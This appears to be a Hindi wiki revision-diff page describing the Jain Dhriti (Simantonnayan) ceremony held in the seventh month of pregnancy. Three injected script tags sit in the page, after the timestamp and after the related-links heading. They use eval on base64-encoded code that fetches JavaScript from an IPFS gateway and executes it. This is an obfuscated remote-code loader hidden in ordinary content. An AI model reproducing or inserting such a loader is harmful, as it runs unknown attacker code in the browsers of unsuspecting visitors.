"जैन धृति संस्कार" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पन्ना: {{Menu}} ==जैन धृति संस्कार / Jain Dhrati Sanskar== *'धृति' को 'सीमन्तोन्नयन' अथवा सीमान...)
 
छो (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}')
 
(३ सदस्यों द्वारा किये गये बीच के ३ अवतरण नहीं दर्शाए गए)
पंक्ति ६: पंक्ति ६:
 
*पश्चात यन्त्र-पूजन एवं हवन करना चाहिए।  
 
*पश्चात यन्त्र-पूजन एवं हवन करना चाहिए।  
 
*इसके बाद सौभाग्यवती नारियाँ गर्भिणी के केशों में तीन माँग निकालें।  
 
*इसके बाद सौभाग्यवती नारियाँ गर्भिणी के केशों में तीन माँग निकालें।  
 +
==सम्बंधित लिंक==
 +
{{जैन धर्म}}
 +
 
[[Category:कोश]]
 
[[Category:कोश]]
 
[[Category:जैन]]
 
[[Category:जैन]]
 
__INDEX__
 
__INDEX__

११:३६, ७ अगस्त २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जैन धृति संस्कार / Jain Dhrati Sanskar

  • 'धृति' को 'सीमन्तोन्नयन' अथवा सीमान्त क्रिया भी कहते हैं।
  • इसको सातवें माह के शुभ दिन, नक्षत्र, योग, मुहूर्त आदि में करना चाहिए।
  • इसमें प्रथम संस्कार समान सब विधि कर लेना चाहिए।
  • पश्चात यन्त्र-पूजन एवं हवन करना चाहिए।
  • इसके बाद सौभाग्यवती नारियाँ गर्भिणी के केशों में तीन माँग निकालें।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>